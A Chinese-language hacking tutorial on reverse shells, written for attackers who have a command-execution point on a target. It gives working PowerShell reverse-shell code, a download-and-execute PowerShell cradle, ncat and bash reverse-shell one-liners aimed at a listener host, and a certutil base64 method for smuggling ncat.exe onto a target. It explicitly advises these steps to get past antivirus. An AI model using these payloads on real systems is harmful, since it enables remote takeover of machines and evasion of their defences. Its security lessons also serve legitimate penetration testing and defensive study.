一、shell的反彈:
在很多時候,我們得到一個可以執行OS命令的點,但是我們發現可能是殺軟的原因導致木馬被殺或被攔截了,此時我們就無法上線,但是又能確定是可以出網的,這個時候就可以把shell反彈出來,再看看具體是啥情況
二、各類反彈姿勢:
既然是反彈shell,那么肯定是需要有接受方的,一般接收shell的地方都是在我們的VPS上,也可以通過映射后反彈到我們的本地攻擊機。
接收一般都是用Ncat來接收的,這個是Linux自帶的,所以我們可以在VPS上用nc監聽一個端口以接受反彈回來的shell
在VPS上用nc -lvp <port> 來監聽vps的一個端口,這里-l是監聽,-v是詳情,-p后面接端口,如果VPS是Windows系統可以使用netcat.exe -lvp <port>
三、Windows反彈(目標機器為Windows):
1、powershell:
① 長代碼:
powershell.exe -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.110.167',8080);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0) {;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1 |Out-String);$sendback2=$sendback + 'PS' + (pwd).Path + '>';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
在可以執行OS的位置直接把長代碼復制進去執行(記得把紅框內的IP和端口改為VPS的,端口是上面NC開放的),有時候是需要轉義的,可以看着情況自己改
然后回到VPS,戳一下回車就發現可以執行目標機器powershell的shell了:
② 短代碼
functionInvoke-lltestTcp
{
$client=New-Object Net.Sockets.TCPClient('192.168.110.167',8080)
$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0}
while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0)
{
$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback=(iex $data 2>&1|Out-String)
$sendback2=$sendback + 'PS' + (pwd).Path+'>'
$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
}
長代碼太長了,在某些點不能很好的執行,這里我們就把長代碼格式化一下封裝進函數里面再保存到ps1文件里面。操作也跟長代碼相似,修改好IP和端口,然后用powershell的下載執行來反彈shell:
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.50/fantan.ps1');Invoke-lltestTcp
目標機器:
Vps:
③ 其他腳本
除開上面這種特定功能的代碼,在國際上很早就有人用powershell寫了非常成熟的套件,這些套件就包括反彈shell。由於他們的全面性,且公開的時間非常長,被各國的黑客們用於滲透,因此這些套件再GitHub上面的地址都被殺軟關注了,甚至是套件腳本里面的內容都會被殺、被攔截,當然內容被殺的情況比較少。所以把腳本放到其他存儲空間還是很有必要的,想要萬無一失最好還是把代碼自己摳出來放到自己的VPS上。
Nishang套件:https://github.com/samratashok/nishang
2、Ncat反彈:
有着瑞士軍刀之稱的Ncat,既可以接受反彈回來的shell,還可以把shell反彈回去。如果你的目標是Windows,那么就要反彈cmdshell
目標機器上操作:
nc -e c:\windows\systemin32\cmd.exe <your-vps-ip> <your-listen-port>
ncat.exe -e cmd.exe 192.168.110.167 8080
ncat簡稱是nc,這個再Linux上是默認安裝的。當然Windows默認不安裝ncat,所以需要我們上傳一個上去,但有可能我們拿到的只是一個命令執行的點而已,遇到這種情況不要慌,Windows默認安裝certuil命令行工具,利用這個工具可以實現從外網下載文件。我們謹慎一點還可以把二進制文件轉碼成其他編碼,如base64,再下載進去。
那么思路就是把ncat.exe等能反彈的二進制文件轉碼成base64,然后再echo進目標機器,再恢復成二進制文件,就可以正常使用了
① 本地轉碼:
certutil -encode ncat.exe ncat.base64
② echo的方法:
用subline打開轉碼好的ncat.base64后,用Ctrl+H打開替換面板(如果是notepad + +打開的話應該是Ctrl+R),然后選中第一行,接着在替換面板選擇左上角第一個按鈕,然后在Find中輸入“^”,在Replace中輸入“echo ”,這里別忘了echo后面帶個空格,再點擊Replace all即可
替換完畢后我們故技重施,這次是在Find中輸入“$”,在Replace中輸入“ >>c:\\users\\public\\downloads\\ncat.base”,這里要注意兩個大於號前面有個空格,然后路徑是看情況的,都行:
至於怎么echo,sqlmap里用-shell應該可以,可以去了解一下
③ 把文件一條一條echo上去之后再轉回來:
certutil -decode ncat.base64 n.exe
再反彈:
n.exe -e cmd.exe 192.168.110.167 8080
此法在目標環境為深層內網且不通網的同時可利用條件極差的情況下使用
更多關於certutil的用法可看:https://www.cnblogs.com/backlion/p/7325228.html
四、Linux反彈(目標機器為Linux):
Linux反彈shell的本質:https://xz.aliyun.com/t/2549
①Ncat
nc -e /bin/bash 8.8.8.8 8080
②bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1